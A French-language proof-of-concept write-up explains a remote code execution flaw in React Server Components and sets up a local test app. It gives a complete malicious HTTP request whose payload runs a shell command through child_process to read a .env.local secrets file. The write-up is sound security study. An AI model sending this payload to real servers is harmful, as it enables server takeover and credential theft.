
Ce dépôt fournit une preuve de concept pour CVE-2025-55182 (React2Shell), une vulnérabilité d'exécution de code à distance dans les React Server Components. Il montre comment l'exploit fonctionne, y compris la charge utile et l'impact.
CVE-2025-55182, également connu sous le nom de React2Shell, est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les composants serveur React. Cette faille permet à des attaquants non authentifiés d'exécuter du code arbitraire sur des serveurs vulnérables en exploitant un problème de désérialisation non sécurisée dans le protocole Flight de React.
Avec son score CVSS de 10.0, cette vulnérabilité est extrêmement grave et nécessite une attention immédiate. Dans cet article, je vais vous présenter les détails de la vulnérabilité, le mécanisme d'exploitation et fournir une preuve de concept (PoC). Plongeons dedans.
Les versions suivantes des composants serveur React et des paquets associés sont vulnérables :
Composants serveur React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
Paquets concernés :
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js est l'une des bibliothèques JavaScript les plus populaires pour la construction d'interfaces utilisateur, notamment dans le contexte des applications monopages (SPA). Elle permet aux développeurs de créer des expériences utilisateur dynamiques et interactives.
Les composants serveur React (RSC) sont une fonctionnalité expérimentale qui permet à certaines parties d'une application React d'être rendues sur le serveur, plutôt que sur le client. Cela réduit la quantité de JavaScript nécessaire côté client et améliore les performances, en particulier dans les grandes applications.
Cependant, les RSC introduisent de nouvelles complexités, notamment dans la manière dont les données sont échangées entre le serveur et le client. CVE-2025-55182 exploite l'un de ces problèmes liés au protocole Flight, utilisé dans les RSC pour transférer des données entre le serveur et le client.
CVE-2025-55182 provient d'une désérialisation non sécurisée dans le protocole Flight de React. La désérialisation est le processus de conversion de données sérialisées (généralement du JSON) en un objet en mémoire. React utilise ce processus pour gérer les données échangées entre le serveur et le client lors du rendu côté serveur.
Cependant, l'implémentation de la désérialisation de React est non sécurisée. En particulier, React utilise la notation par crochets pour accéder aux propriétés des objets (par exemple, moduleExports[metadata[2]]), ce qui permet aux attaquants de manipuler la chaîne de prototypes des objets JavaScript. Cela entraîne une pollution du prototype et ouvre la possibilité de modifier les propriétés des objets de manière inattendue, permettant aux attaquants d'exploiter la logique de désérialisation.
La racine de la vulnérabilité réside dans la manière dont React gère les charges utiles du protocole Flight. L'utilisation de la notation par crochets pour l'accès aux propriétés permet aux attaquants de parcourir la chaîne de prototypes, leur donnant accès à des propriétés qui ne devraient normalement pas être accessibles – comme constructor. En manipulant cette propriété, les attaquants peuvent accéder au constructeur global Function et exécuter du code JavaScript arbitraire sur le serveur.
L'exploitation fonctionne en envoyant une charge utile spécialement conçue au serveur, qui manipule la logique de désérialisation du protocole Flight. En combinant pollution du prototype et désérialisation non sécurisée, un attaquant peut prendre le contrôle du serveur et exécuter du code arbitraire.
Les composants clés de l'attaque comprennent :
Pollution du prototype : L'attaquant manipule la chaîne de prototype d'un objet pour injecter de nouvelles propriétés, notamment les propriétés constructor et Function.
Exécution de la charge utile : Une fois que l'attaquant a accès au constructeur Function, il peut exécuter du code JavaScript arbitraire, comme lire des fichiers ou exécuter des commandes système.
Pour tester l'exploit, vous aurez besoin d'un environnement React vulnérable. Voici comment le configurer :
npx [email protected] poc-react2shell cd poc-react2shell
Alternativement, vous pouvez utiliser un dépôt GitHub préconfiguré qui contient déjà la configuration vulnérable.
Créer un fichier d'environnement de test
Dans le répertoire racine de votre projet, créez un fichier .env.local contenant des données sensibles, comme des clés API. L'attaquant ciblera ce fichier dans la PoC :
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Démarrer le serveur de développement
Lancez le serveur de développement :
npm run dev
Le serveur vulnérable devrait maintenant tourner sur http://localhost:3000 .
Une fois votre environnement prêt, vous pouvez envoyer la charge utile malveillante pour déclencher l'exploit. C'est là que Burp Suite ou tout autre outil de proxy HTTP devient utile.
Envoyer la charge utile malveillante
Ouvrez Burp Suite et allez dans l'onglet Repeater. Définissez l'URL cible sur http://localhost:3000/ et envoyez la charge utile malveillante suivante :
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Analyser la réponse
Après avoir envoyé la requête, si l'exploit réussit, le serveur répondra avec le contenu de votre fichier .env.local (ou toute autre donnée sensible présente dans les variables d'environnement). Cela confirme l'accès de l'attaquant à des données confidentielles.
